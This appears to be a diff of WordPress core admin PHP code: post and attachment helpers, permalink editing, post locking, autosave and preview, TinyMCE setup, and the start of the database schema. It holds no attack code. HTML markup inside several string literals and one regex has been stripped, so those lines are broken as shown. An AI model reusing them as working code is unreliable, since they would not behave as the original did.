$wpdb->postmeta, $data, $where ); + wp_cache_delete($post_id, 'post_meta'); + do_action( 'updated_postmeta', $meta_id, $post_id, $meta_key, $meta_value ); + + return $rval; +} + +// +// Private +// + +/** + * Replace hrefs of attachment anchors with up-to-date permalinks. + * + * @since unknown + * @access private + * + * @param unknown_type $post_ID + * @return unknown + */ +function _fix_attachment_links( $post_ID ) { + global $_fix_attachment_link_id; + + $post = & get_post( $post_ID, ARRAY_A ); + + $search = "#]+rel=('|\")[^'\"]*attachment[^>]*>#ie"; + + // See if we have any rel="attachment" links + if ( 0 == preg_match_all( $search, $post['post_content'], $anchor_matches, PREG_PATTERN_ORDER ) ) + return; + + $i = 0; + $search = "#[\s]+rel=(\"|')(.*?)wp-att-(\d+)\\1#i"; + foreach ( $anchor_matches[0] as $anchor ) { + if ( 0 == preg_match( $search, $anchor, $id_matches ) ) + continue; + + $id = (int) $id_matches[3]; + + // While we have the attachment ID, let's adopt any orphans. + $attachment = & get_post( $id, ARRAY_A ); + if ( ! empty( $attachment) && ! is_object( get_post( $attachment['post_parent'] ) ) ) { + $attachment['post_parent'] = $post_ID; + // Escape data pulled from DB. + $attachment = add_magic_quotes( $attachment); + wp_update_post( $attachment); + } + + $post_search[$i] = $anchor; + $_fix_attachment_link_id = $id; + $post_replace[$i] = preg_replace_callback( "#href=(\"|')[^'\"]*\\1#", '_fix_attachment_links_replace_cb', $anchor ); + ++$i; + } + + $post['post_content'] = str_replace( $post_search, $post_replace, $post['post_content'] ); + + // Escape data pulled from DB. + $post = add_magic_quotes( $post); + + return wp_update_post( $post); +} + +function _fix_attachment_links_replace_cb($match) { + global $_fix_attachment_link_id; + return stripslashes( 'href='.$match[1] ).get_attachment_link( $_fix_attachment_link_id ).stripslashes( $match[1] ); +} + +/** + * Move child posts to a new parent. + * + * @since unknown + * @access private + * + * @param unknown_type $old_ID + * @param unknown_type $new_ID + * @return unknown + */ +function _relocate_children( $old_ID, $new_ID ) { + global $wpdb; + $old_ID = (int) $old_ID; + $new_ID = (int) $new_ID; + + $children = $wpdb->get_col( $wpdb->prepare(" + SELECT post_id + FROM $wpdb->postmeta + WHERE meta_key = '_wp_attachment_temp_parent' + AND meta_value = %d", $old_ID) ); + + foreach ( $children as $child_id ) { + $wpdb->update($wpdb->posts, array('post_parent' => $new_ID), array('ID' => $child_id) ); + delete_post_meta($child_id, '_wp_attachment_temp_parent'); + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $type + * @return unknown + */ +function get_available_post_statuses($type = 'post') { + $stati = wp_count_posts($type); + + return array_keys(get_object_vars($stati)); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $q + * @return unknown + */ +function wp_edit_posts_query( $q = false ) { + if ( false === $q ) + $q = $_GET; + $q['m'] = isset($q['m']) ? (int) $q['m'] : 0; + $q['cat'] = isset($q['cat']) ? (int) $q['cat'] : 0; + $post_stati = array( // array( adj, noun ) + 'publish' => array(_x('Published', 'post'), __('Published posts'), _n_noop('Published (%s)', 'Published (%s)')), + 'future' => array(_x('Scheduled', 'post'), __('Scheduled posts'), _n_noop('Scheduled (%s)', 'Scheduled (%s)')), + 'pending' => array(_x('Pending Review', 'post'), __('Pending posts'), _n_noop('Pending Review (%s)', 'Pending Review (%s)')), + 'draft' => array(_x('Draft', 'post'), _x('Drafts', 'manage posts header'), _n_noop('Draft (%s)', 'Drafts (%s)')), + 'private' => array(_x('Private', 'post'), __('Private posts'), _n_noop('Private (%s)', 'Private (%s)')), + 'trash' => array(_x('Trash', 'post'), __('Trash posts'), _n_noop('Trash (%s)', 'Trash (%s)')), + ); + + $post_stati = apply_filters('post_stati', $post_stati); + + $avail_post_stati = get_available_post_statuses('post'); + + $post_status_q = ''; + if ( isset($q['post_status']) && in_array( $q['post_status'], array_keys($post_stati) ) ) { + $post_status_q = '&post_status=' . $q['post_status']; + $post_status_q .= '&perm=readable'; + } + + if ( isset($q['post_status']) && 'pending' === $q['post_status'] ) { + $order = 'ASC'; + $orderby = 'modified'; + } elseif ( isset($q['post_status']) && 'draft' === $q['post_status'] ) { + $order = 'DESC'; + $orderby = 'modified'; + } else { + $order = 'DESC'; + $orderby = 'date'; + } + + $posts_per_page = (int) get_user_option( 'edit_per_page', 0, false ); + if ( empty( $posts_per_page ) || $posts_per_page < 1 ) + $posts_per_page = 15; + $posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page ); + + wp("post_type=post&$post_status_q&posts_per_page=$posts_per_page&order=$order&orderby=$orderby"); + + return array($post_stati, $avail_post_stati); +} + +/** + * Get default post mime types + * + * @since 2.9.0 + * + * @return array + */ +function get_post_mime_types() { + $post_mime_types = array( // array( adj, noun ) + 'image' => array(__('Images'), __('Manage Images'), _n_noop('Image (%s)', 'Images (%s)')), + 'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio (%s)', 'Audio (%s)')), + 'video' => array(__('Video'), __('Manage Video'), _n_noop('Video (%s)', 'Video (%s)')), + ); + + return apply_filters('post_mime_types', $post_mime_types); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $type + * @return unknown + */ +function get_available_post_mime_types($type = 'attachment') { + global $wpdb; + + $types = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type)); + return $types; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $q + * @return unknown + */ +function wp_edit_attachments_query( $q = false ) { + if ( false === $q ) + $q = $_GET; + + $q['m'] = isset( $q['m'] ) ? (int) $q['m'] : 0; + $q['cat'] = isset( $q['cat'] ) ? (int) $q['cat'] : 0; + $q['post_type'] = 'attachment'; + $q['post_status'] = isset( $q['status'] ) && 'trash' == $q['status'] ? 'trash' : 'inherit'; + $media_per_page = (int) get_user_option( 'upload_per_page', 0, false ); + if ( empty( $media_per_page ) || $media_per_page < 1 ) + $media_per_page = 20; + $q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page ); + + $post_mime_types = get_post_mime_types(); + $avail_post_mime_types = get_available_post_mime_types('attachment'); + + if ( isset($q['post_mime_type']) && !array_intersect( (array) $q['post_mime_type'], array_keys($post_mime_types) ) ) + unset($q['post_mime_type']); + + wp($q); + + return array($post_mime_types, $avail_post_mime_types); +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $id + * @param unknown_type $page + * @return unknown + */ +function postbox_classes( $id, $page ) { + if ( isset( $_GET['edit'] ) && $_GET['edit'] == $id ) + return ''; + $current_user = wp_get_current_user(); + if ( $closed = get_user_option('closedpostboxes_'.$page, 0, false ) ) { + if ( !is_array( $closed ) ) return ''; + return in_array( $id, $closed )? 'closed' : ''; + } else { + return ''; + } +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param int|object $id Post ID or post object. + * @param string $title (optional) Title + * @param string $name (optional) Name + * @return array With two entries of type string + */ +function get_sample_permalink($id, $title = null, $name = null) { + $post = &get_post($id); + if (!$post->ID) { + return array('', ''); + } + $original_status = $post->post_status; + $original_date = $post->post_date; + $original_name = $post->post_name; + + // Hack: get_permalink would return ugly permalink for + // drafts, so we will fake, that our post is published + if (in_array($post->post_status, array('draft', 'pending'))) { + $post->post_status = 'publish'; + $post->post_name = sanitize_title($post->post_name ? $post->post_name : $post->post_title, $post->ID); + } + + $post->post_name = wp_unique_post_slug($post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent); + + // If the user wants to set a new name -- override the current one + // Note: if empty name is supplied -- use the title instead, see #6072 + if (!is_null($name)) { + $post->post_name = sanitize_title($name ? $name : $title, $post->ID); + } + + $post->filter = 'sample'; + + $permalink = get_permalink($post, true); + + // Handle page hierarchy + if ( 'page' == $post->post_type ) { + $uri = get_page_uri($post->ID); + $uri = untrailingslashit($uri); + $uri = strrev( stristr( strrev( $uri ), '/' ) ); + $uri = untrailingslashit($uri); + if ( !empty($uri) ) + $uri .='/'; + $permalink = str_replace('%pagename%', "${uri}%pagename%", $permalink); + } + + $permalink = array($permalink, apply_filters('editable_slug', $post->post_name)); + $post->post_status = $original_status; + $post->post_date = $original_date; + $post->post_name = $original_name; + unset($post->filter); + + return $permalink; +} + +/** + * sample permalink html + * + * intended to be used for the inplace editor of the permalink post slug on in the post (and page?) editor. + * + * @since unknown + * + * @param int|object $id Post ID or post object. + * @param string $new_title (optional) New title + * @param string $new_slug (optional) New slug + * @return string intended to be used for the inplace editor of the permalink post slug on in the post (and page?) editor. + */ +function get_sample_permalink_html( $id, $new_title = null, $new_slug = null ) { + $post = &get_post($id); + list($permalink, $post_name) = get_sample_permalink($post->ID, $new_title, $new_slug); + + if ( 'publish' == $post->post_status ) { + $view_post = 'post' == $post->post_type ? __('View Post') : __('View Page'); + $title = __('Click to edit this part of the permalink'); + } else { + $title = __('Temporary permalink. Click to edit this part.'); + } + + if ( false === strpos($permalink, '%postname%') && false === strpos($permalink, '%pagename%') ) { + $return = '' . __('Permalink:') . "\n" . '' . $permalink . "\n"; + if ( current_user_can( 'manage_options' ) && !( 'page' == get_option('show_on_front') && $id == get_option('page_on_front') ) ) + $return .= '' . __('Change Permalinks') . "\n"; + if ( isset($view_post) ) + $return .= "$view_post\n"; + + $return = apply_filters('get_sample_permalink_html', $return, $id, $new_title, $new_slug); + + return $return; + } + + if ( function_exists('mb_strlen') ) { + if ( mb_strlen($post_name) > 30 ) { + $post_name_abridged = mb_substr($post_name, 0, 14). '…' . mb_substr($post_name, -14); + } else { + $post_name_abridged = $post_name; + } + } else { + if ( strlen($post_name) > 30 ) { + $post_name_abridged = substr($post_name, 0, 14). '…' . substr($post_name, -14); + } else { + $post_name_abridged = $post_name; + } + } + + $post_name_html = '' . $post_name_abridged . ''; + $display_link = str_replace(array('%pagename%','%postname%'), $post_name_html, $permalink); + $view_link = str_replace(array('%pagename%','%postname%'), $post_name, $permalink); + $return = '' . __('Permalink:') . "\n" . '' . $display_link . "\n"; + $return .= '' . __('Edit') . "\n"; + $return .= '' . $post_name . "\n"; + if ( isset($view_post) ) + $return .= "$view_post\n"; + + $return = apply_filters('get_sample_permalink_html', $return, $id, $new_title, $new_slug); + + return $return; +} + +/** + * Output HTML for the post thumbnail meta-box. + * + * @since 2.9.0 + * + * @param int $thumbnail_id ID of the attachment used for thumbnail + * @return string html + */ +function _wp_post_thumbnail_html( $thumbnail_id = NULL ) { + global $content_width, $_wp_additional_image_sizes; + $content = '

    ' . esc_html__( 'Set thumbnail' ) . '

    '; + + if ( $thumbnail_id && get_post( $thumbnail_id ) ) { + $old_content_width = $content_width; + $content_width = 266; + if ( !isset( $_wp_additional_image_sizes['post-thumbnail'] ) ) + $thumbnail_html = wp_get_attachment_image( $thumbnail_id, array( $content_width, $content_width ) ); + else + $thumbnail_html = wp_get_attachment_image( $thumbnail_id, 'post-thumbnail' ); + if ( !empty( $thumbnail_html ) ) { + $content = '' . $thumbnail_html . ''; + $content .= '

    ' . esc_html__( 'Remove thumbnail' ) . '

    '; + } + $content_width = $old_content_width; + } + + return apply_filters( 'admin_post_thumbnail_html', $content ); +} + +/** + * Check to see if the post is currently being edited by another user. + * + * @since 2.5.0 + * + * @param int $post_id ID of the post to check for editing + * @return bool|int False: not locked or locked by current user. Int: user ID of user with lock. + */ +function wp_check_post_lock( $post_id ) { + global $current_user; + + if ( !$post = get_post( $post_id ) ) + return false; + + $lock = get_post_meta( $post->ID, '_edit_lock', true ); + $last = get_post_meta( $post->ID, '_edit_last', true ); + + $time_window = apply_filters( 'wp_check_post_lock_window', AUTOSAVE_INTERVAL * 2 ); + + if ( $lock && $lock > time() - $time_window && $last != $current_user->ID ) + return $last; + return false; +} + +/** + * Mark the post as currently being edited by the current user + * + * @since 2.5.0 + * + * @param int $post_id ID of the post to being edited + * @return bool Returns false if the post doesn't exist of there is no current user + */ +function wp_set_post_lock( $post_id ) { + global $current_user; + if ( !$post = get_post( $post_id ) ) + return false; + if ( !$current_user || !$current_user->ID ) + return false; + + $now = time(); + + if ( !add_post_meta( $post->ID, '_edit_lock', $now, true ) ) + update_post_meta( $post->ID, '_edit_lock', $now ); + if ( !add_post_meta( $post->ID, '_edit_last', $current_user->ID, true ) ) + update_post_meta( $post->ID, '_edit_last', $current_user->ID ); +} + +/** + * Outputs the notice message to say that someone else is editing this post at the moment. + * + * @since 2.8.5 + * @return none + */ +function _admin_notice_post_locked() { + global $post; + $last_user = get_userdata( get_post_meta( $post->ID, '_edit_last', true ) ); + $last_user_name = $last_user ? $last_user->display_name : __('Somebody'); + + switch ($post->post_type) { + case 'post': + $message = __( 'Warning: %s is currently editing this post' ); + break; + case 'page': + $message = __( 'Warning: %s is currently editing this page' ); + break; + default: + $message = __( 'Warning: %s is currently editing this.' ); + } + + $message = sprintf( $message, esc_html( $last_user_name ) ); + echo "

    $message

    "; +} + +/** + * Creates autosave data for the specified post from $_POST data. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses _wp_translate_postdata() + * @uses _wp_post_revision_fields() + */ +function wp_create_post_autosave( $post_id ) { + $translated = _wp_translate_postdata( true ); + if ( is_wp_error( $translated ) ) + return $translated; + + // Only store one autosave. If there is already an autosave, overwrite it. + if ( $old_autosave = wp_get_post_autosave( $post_id ) ) { + $new_autosave = _wp_post_revision_fields( $_POST, true ); + $new_autosave['ID'] = $old_autosave->ID; + $current_user = wp_get_current_user(); + $new_autosave['post_author'] = $current_user->ID; + return wp_update_post( $new_autosave ); + } + + // _wp_put_post_revision() expects unescaped. + $_POST = stripslashes_deep($_POST); + + // Otherwise create the new autosave as a special post revision + return _wp_put_post_revision( $_POST, true ); +} + +/** + * Save draft or manually autosave for showing preview. + * + * @package WordPress + * @since 2.7 + * + * @uses wp_write_post() + * @uses edit_post() + * @uses get_post() + * @uses current_user_can() + * @uses wp_create_post_autosave() + * + * @return str URL to redirect to show the preview + */ +function post_preview() { + + $post_ID = (int) $_POST['post_ID']; + if ( $post_ID < 1 ) + wp_die( __('Preview not available. Please save as a draft first.') ); + + if ( isset($_POST['catslist']) ) + $_POST['post_category'] = explode(",", $_POST['catslist']); + + if ( isset($_POST['tags_input']) ) + $_POST['tags_input'] = explode(",", $_POST['tags_input']); + + if ( $_POST['post_type'] == 'page' || empty($_POST['post_category']) ) + unset($_POST['post_category']); + + $_POST['ID'] = $post_ID; + $post = get_post($post_ID); + + if ( 'page' == $post->post_type ) { + if ( !current_user_can('edit_page', $post_ID) ) + wp_die(__('You are not allowed to edit this page.')); + } else { + if ( !current_user_can('edit_post', $post_ID) ) + wp_die(__('You are not allowed to edit this post.')); + } + + if ( 'draft' == $post->post_status ) { + $id = edit_post(); + } else { // Non drafts are not overwritten. The autosave is stored in a special post revision. + $id = wp_create_post_autosave( $post->ID ); + if ( ! is_wp_error($id) ) + $id = $post->ID; + } + + if ( is_wp_error($id) ) + wp_die( $id->get_error_message() ); + + if ( $_POST['post_status'] == 'draft' ) { + $url = add_query_arg( 'preview', 'true', get_permalink($id) ); + } else { + $nonce = wp_create_nonce('post_preview_' . $id); + $url = add_query_arg( array( 'preview' => 'true', 'preview_id' => $id, 'preview_nonce' => $nonce ), get_permalink($id) ); + } + + return $url; +} + +/** + * Adds the TinyMCE editor used on the Write and Edit screens. + * + * @package WordPress + * @since 2.7 + * + * TinyMCE is loaded separately from other Javascript by using wp-tinymce.php. It outputs concatenated + * and optionaly pre-compressed version of the core and all default plugins. Additional plugins are loaded + * directly by TinyMCE using non-blocking method. Custom plugins can be refreshed by adding a query string + * to the URL when queueing them with the mce_external_plugins filter. + * + * @param bool $teeny optional Output a trimmed down version used in Press This. + * @param mixed $settings optional An array that can add to or overwrite the default TinyMCE settings. + */ +function wp_tiny_mce( $teeny = false, $settings = false ) { + global $concatenate_scripts, $compress_scripts, $tinymce_version; + + if ( ! user_can_richedit() ) + return; + + $baseurl = includes_url('js/tinymce'); + + $mce_locale = ( '' == get_locale() ) ? 'en' : strtolower( substr(get_locale(), 0, 2) ); // only ISO 639-1 + + /* + The following filter allows localization scripts to change the languages displayed in the spellchecker's drop-down menu. + By default it uses Google's spellchecker API, but can be configured to use PSpell/ASpell if installed on the server. + The + sign marks the default language. More information: + http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker + */ + $mce_spellchecker_languages = apply_filters('mce_spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv'); + + if ( $teeny ) { + $plugins = apply_filters( 'teeny_mce_plugins', array('safari', 'inlinepopups', 'media', 'fullscreen', 'wordpress') ); + $ext_plugins = ''; + } else { + $plugins = array( 'safari', 'inlinepopups', 'spellchecker', 'paste', 'wordpress', 'media', 'fullscreen', 'wpeditimage', 'wpgallery', 'tabfocus' ); + + /* + The following filter takes an associative array of external plugins for TinyMCE in the form 'plugin_name' => 'url'. + It adds the plugin's name to TinyMCE's plugins init and the call to PluginManager to load the plugin. + The url should be absolute and should include the js file name to be loaded. Example: + array( 'myplugin' => 'http://my-site.com/wp-content/plugins/myfolder/mce_plugin.js' ) + If the plugin uses a button, it should be added with one of the "$mce_buttons" filters. + */ + $mce_external_plugins = apply_filters('mce_external_plugins', array()); + + $ext_plugins = ''; + if ( ! empty($mce_external_plugins) ) { + + /* + The following filter loads external language files for TinyMCE plugins. + It takes an associative array 'plugin_name' => 'path', where path is the + include path to the file. The language file should follow the same format as + /tinymce/langs/wp-langs.php and should define a variable $strings that + holds all translated strings. + When this filter is not used, the function will try to load {mce_locale}.js. + If that is not found, en.js will be tried next. + */ + $mce_external_languages = apply_filters('mce_external_languages', array()); + + $loaded_langs = array(); + $strings = ''; + + if ( ! empty($mce_external_languages) ) { + foreach ( $mce_external_languages as $name => $path ) { + if ( @is_file($path) && @is_readable($path) ) { + include_once($path); + $ext_plugins .= $strings . "\n"; + $loaded_langs[] = $name; + } + } + } + + foreach ( $mce_external_plugins as $name => $url ) { + + if ( is_ssl() ) $url = str_replace('http://', 'https://', $url); + + $plugins[] = '-' . $name; + + $plugurl = dirname($url); + $strings = $str1 = $str2 = ''; + if ( ! in_array($name, $loaded_langs) ) { + $path = str_replace( WP_PLUGIN_URL, '', $plugurl ); + $path = WP_PLUGIN_DIR . $path . '/langs/'; + + if ( function_exists('realpath') ) + $path = trailingslashit( realpath($path) ); + + if ( @is_file($path . $mce_locale . '.js') ) + $strings .= @file_get_contents($path . $mce_locale . '.js') . "\n"; + + if ( @is_file($path . $mce_locale . '_dlg.js') ) + $strings .= @file_get_contents($path . $mce_locale . '_dlg.js') . "\n"; + + if ( 'en' != $mce_locale && empty($strings) ) { + if ( @is_file($path . 'en.js') ) { + $str1 = @file_get_contents($path . 'en.js'); + $strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str1, 1 ) . "\n"; + } + + if ( @is_file($path . 'en_dlg.js') ) { + $str2 = @file_get_contents($path . 'en_dlg.js'); + $strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str2, 1 ) . "\n"; + } + } + + if ( ! empty($strings) ) + $ext_plugins .= "\n" . $strings . "\n"; + } + + $ext_plugins .= 'tinyMCEPreInit.load_ext("' . $plugurl . '", "' . $mce_locale . '");' . "\n"; + $ext_plugins .= 'tinymce.PluginManager.load("' . $name . '", "' . $url . '");' . "\n"; + } + } + } + + $plugins = implode($plugins, ','); + + if ( $teeny ) { + $mce_buttons = apply_filters( 'teeny_mce_buttons', array('bold, italic, underline, blockquote, separator, strikethrough, bullist, numlist,justifyleft, justifycenter, justifyright, undo, redo, link, unlink, fullscreen') ); + $mce_buttons = implode($mce_buttons, ','); + $mce_buttons_2 = $mce_buttons_3 = $mce_buttons_4 = ''; + } else { + $mce_buttons = apply_filters('mce_buttons', array('bold', 'italic', 'strikethrough', '|', 'bullist', 'numlist', 'blockquote', '|', 'justifyleft', 'justifycenter', 'justifyright', '|', 'link', 'unlink', 'wp_more', '|', 'spellchecker', 'fullscreen', 'wp_adv' )); + $mce_buttons = implode($mce_buttons, ','); + + $mce_buttons_2 = apply_filters('mce_buttons_2', array('formatselect', 'underline', 'justifyfull', 'forecolor', '|', 'pastetext', 'pasteword', 'removeformat', '|', 'media', 'charmap', '|', 'outdent', 'indent', '|', 'undo', 'redo', 'wp_help' )); + $mce_buttons_2 = implode($mce_buttons_2, ','); + + $mce_buttons_3 = apply_filters('mce_buttons_3', array()); + $mce_buttons_3 = implode($mce_buttons_3, ','); + + $mce_buttons_4 = apply_filters('mce_buttons_4', array()); + $mce_buttons_4 = implode($mce_buttons_4, ','); + } + $no_captions = ( apply_filters( 'disable_captions', '' ) ) ? true : false; + + // TinyMCE init settings + $initArray = array ( + 'mode' => 'specific_textareas', + 'editor_selector' => 'theEditor', + 'width' => '100%', + 'theme' => 'advanced', + 'skin' => 'wp_theme', + 'theme_advanced_buttons1' => "$mce_buttons", + 'theme_advanced_buttons2' => "$mce_buttons_2", + 'theme_advanced_buttons3' => "$mce_buttons_3", + 'theme_advanced_buttons4' => "$mce_buttons_4", + 'language' => "$mce_locale", + 'spellchecker_languages' => "$mce_spellchecker_languages", + 'theme_advanced_toolbar_location' => 'top', + 'theme_advanced_toolbar_align' => 'left', + 'theme_advanced_statusbar_location' => 'bottom', + 'theme_advanced_resizing' => true, + 'theme_advanced_resize_horizontal' => false, + 'dialog_type' => 'modal', + 'relative_urls' => false, + 'remove_script_host' => false, + 'convert_urls' => false, + 'apply_source_formatting' => false, + 'remove_linebreaks' => true, + 'gecko_spellcheck' => true, + 'entities' => '38,amp,60,lt,62,gt', + 'accessibility_focus' => true, + 'tabfocus_elements' => 'major-publishing-actions', + 'media_strict' => false, + 'paste_remove_styles' => true, + 'paste_remove_spans' => true, + 'paste_strip_class_attributes' => 'all', + 'wpeditimage_disable_captions' => $no_captions, + 'plugins' => "$plugins" + ); + + $mce_css = trim(apply_filters('mce_css', ''), ' ,'); + + if ( ! empty($mce_css) ) + $initArray['content_css'] = "$mce_css"; + + if ( is_array($settings) ) + $initArray = array_merge($initArray, $settings); + + // For people who really REALLY know what they're doing with TinyMCE + // You can modify initArray to add, remove, change elements of the config before tinyMCE.init + // Setting "valid_elements", "invalid_elements" and "extended_valid_elements" can be done through "tiny_mce_before_init". + // Best is to use the default cleanup by not specifying valid_elements, as TinyMCE contains full set of XHTML 1.0. + if ( $teeny ) { + $initArray = apply_filters('teeny_mce_before_init', $initArray); + } else { + $initArray = apply_filters('tiny_mce_before_init', $initArray); + } + + if ( empty($initArray['theme_advanced_buttons3']) && !empty($initArray['theme_advanced_buttons4']) ) { + $initArray['theme_advanced_buttons3'] = $initArray['theme_advanced_buttons4']; + $initArray['theme_advanced_buttons4'] = ''; + } + + if ( ! isset($concatenate_scripts) ) + script_concat_settings(); + + $language = $initArray['language']; + $zip = $compress_scripts ? 1 : 0; + + /** + * Deprecated + * + * The tiny_mce_version filter is not needed since external plugins are loaded directly by TinyMCE. + * These plugins can be refreshed by appending query string to the URL passed to mce_external_plugins filter. + * If the plugin has a popup dialog, a query string can be added to the button action that opens it (in the plugin's code). + */ + $version = apply_filters('tiny_mce_version', ''); + $version = 'ver=' . $tinymce_version . $version; + + if ( 'en' != $language ) + include_once(ABSPATH . WPINC . '/js/tinymce/langs/wp-langs.php'); + + $mce_options = ''; + foreach ( $initArray as $k => $v ) + $mce_options .= $k . ':"' . $v . '", '; + + $mce_options = rtrim( trim($mce_options), '\n\r,' ); ?> + + + +\n"; + else + echo "\n"; + + if ( 'en' != $language && isset($lang) ) + echo "\n"; + else + echo "\n"; +?> + + +charset) ) + $charset_collate = "DEFAULT CHARACTER SET $wpdb->charset"; +if ( ! empty($wpdb->collate) ) + $charset_collate .= " COLLATE $wpdb->collate"; + +/** Create WordPress database tables SQL */ +$wp_queries = "CREATE TABLE $wpdb->terms ( + term_id bigint(20) unsigned NOT NULL auto_increment, + name varchar(200) NOT NULL default '', + slug varchar(200) NOT NULL default '', + term_group bigint(10) NOT NULL default 0, + PRIMARY KEY (term_id), + UNIQUE KEY slug (slug), + KEY name (name) +) $charset_collate; +CREATE TABLE $wpdb->term_taxonomy ( + term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment, + term_id bigint(20) unsigned NOT NULL default 0, + taxonomy varchar(32) NOT NULL default '', + description longtext NOT NULL, + parent bigint(20) unsigned NOT NULL default 0, + count bigint(20) NOT NULL default 0, + PRIMARY KEY (term_taxonomy_id), + UNIQUE KEY term_id_taxonomy (term_id,taxonomy), + KEY taxonomy (taxonomy) +) $charset_collate; +CREATE TABLE $wpdb->term_relationships ( + object_id bigint(20) unsigned NOT NULL default 0, + term_taxonomy_id bigint(20) unsigned NOT NULL default 0, + term_order int(11) NOT NULL default 0, + PRIMARY KEY (object_id,term_taxonomy_id), + KEY term_taxonomy_id (term_taxonomy_id) +) $charset_collate; +CREATE TABLE $wpdb->commentmeta ( + meta_id bigint(20) unsigned NOT NULL auto_increment, + comment_id bigint(20) unsigned NOT NULL default '0', + meta_key varchar(255) default NULL, + meta_value longtext, + PRIMARY KEY (meta_id), + KEY comment_id (comment_id), + KEY meta_key (meta_key) +) $charset_collate; +CREATE TABLE $wpdb->comments ( + comment_ID bigint(20) unsigned NOT NULL auto_increment, + comment_post_ID bigint(20) unsigned NOT NULL default '0', + comment_author tinytext NOT NULL, + comment_author_email varchar(100) NOT NULL default '', + comment_author_url varchar(200) NOT NULL default '', + comment_author_IP varchar(100) NOT NULL default '', + comment_date datetime NOT NULL default '0000-00-00 00:00:00', + comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00', + comment_content text NOT NULL, + comment_karma int(11) NOT NULL default '0', + comment_approved varchar(20) NOT NULL default '1', + comment_agent varchar(255) NOT NULL default '', + comment_type varchar(20) NOT NULL default '', + comment_parent bigint(20) unsigned NOT NULL default '0', + user_id bigint(20) unsigned NOT NULL default '0', + PRIMARY KEY (comment_ID), + KEY comment_approved (comment_approved), + KEY comment_post_ID (comment_post_ID), + KEY comment_approved_date_gmt (comment_approved,comment_date_gmt), + KEY comment_date_gmt (comment_date_gmt) +) $charset_collate; +CREATE TABLE $wpdb->links ( + link_id bigint(20) unsigned NOT NULL auto_increment, + link_url varchar(255) NOT NULL default '', + link_name varchar(255) NOT NULL default '', + link_image varchar(255) NOT NULL default '', + link_target varchar(25) NOT NULL default '', + link_description varchar(255) NOT NULL default '', + link_visible varchar(20) NOT NULL default 'Y', + link_owner bigint(20) unsigned NOT NULL default '1', + link_rating int(11) NOT NULL default '0', + link_updated datetime NOT NULL default '0000-00-00 00:00:00', + link_rel varchar(255) NOT NULL default '', + link_notes mediumtext NOT NULL, + link_rss varchar(255) NOT NULL default '', + PRIMARY KEY (link_id), + KEY link_visible (link_visible) +) $charset_collate; +CREATE TABLE $wpdb->options ( + option_id bigint(20) unsigned NOT NULL auto_increment, + blog_id int(11) NOT NULL default '0', + option_name varchar(64) NOT NULL default '', + option_value longtext NOT NULL, + autoload varchar(20) NOT NULL default 'yes', + PRIMARY KEY (option_id), + UNIQUE KEY option_name (option_name) +) $charset_collate; +CREATE TABLE $wpdb->postmeta ( + meta_id bigint(20) unsigned NOT NULL auto_increment, + post_id bigint(20) unsigned NOT NULL default '0', + meta_key varchar(255) default NULL, + meta_value longtext, + PRIMARY KEY (meta_id), + KEY post_id (post_id), + KEY meta_key (meta_key) +) $charset_collate; +CREATE TABLE $wpdb->posts ( + ID bigint(20) unsigned NOT NULL auto_increment, + post_author bigint(20) unsigned NOT NULL default '0', + post_date datetime NOT NULL default '0000-00-00 00:00:00', + post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00', + post_content longtext NOT NULL, + post_title text NOT NULL, + post_excerpt text NOT NULL, + post_status varchar(20) NOT NULL default 'publish', + comment_status varchar(20) NOT NULL default 'open', + ping_status varchar(20) NOT NULL default 'open', + post_password varchar(20) NOT NULL default '', + post_name varchar(200) NOT NULL default '', + to_ping text NOT NULL, + pinged text NOT NULL, + post_modified datetime NOT NULL default '0000-00-00 00:00:00', + post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00', + post_content_filtered text NOT NULL, + post_parent bigint(20) unsigned NOT NULL default '0', + guid varchar(255) NOT NULL default '', + menu_order int(11) NOT NULL default '0', + post_type varchar(20) NOT NULL default 'post', + post_mime_type varchar(100) NOT NULL default '', + comment_count bigint(20) NOT NULL default '0', + PRIMARY KEY (ID), + KEY post_name (post_name), + KEY type_status_date (post_type,post_status,post_date,ID), + KEY post_parent (post_parent) +) $charset_collate; +CREATE TABLE $wpdb->users ( + ID bigint(20) unsigned NOT NULL auto_increment, + user_login varchar(60) NOT NULL default '', + user_pass varchar(64) NOT NULL default '', + user_nicename varchar(50) NOT NULL default '', + user_email varchar(100) NOT NULL default '', + user_url varchar(100) NOT NULL default '', + user_registered datetime NOT NULL default '0000-00-00 00:00:00', + user_activation_key varchar(60) NOT NULL default '', + user_status int(11) NOT NULL default '0', + display_name varchar(250) NOT NULL default '', + PRIMARY KEY (ID), + KEY user_login_key (user_login), + KEY user_nicename (user_nicename) +) $charset_collate; +CREATE TABLE $wpdb->usermeta ( + umeta_id bigint(20) unsigned NOT NULL auto_increment, + user_id bigint(20) unsigned NOT NULL default '0', + meta_key varchar(255) default NULL, + meta_value longtext, + PRIMARY KEY (umeta_id), + KEY user_id (user_id), + KEY meta_key (meta_key) +) $charset_collate;"; + +/** + * Create WordPress options and set the default values. + * + * @since 1.5.0 + * @uses $wpdb + * @uses $wp_db_version + */ +function populate_options() { + global $wpdb, $wp_db_version; + + $guessurl = wp_guess_url(); + + do_action('populate_options'); + + if ( ini_get('safe_mode') ) { + // Safe mode can break mkdir() so use a flat structure by default. + $uploads_use_yearmonth_folders = 0; 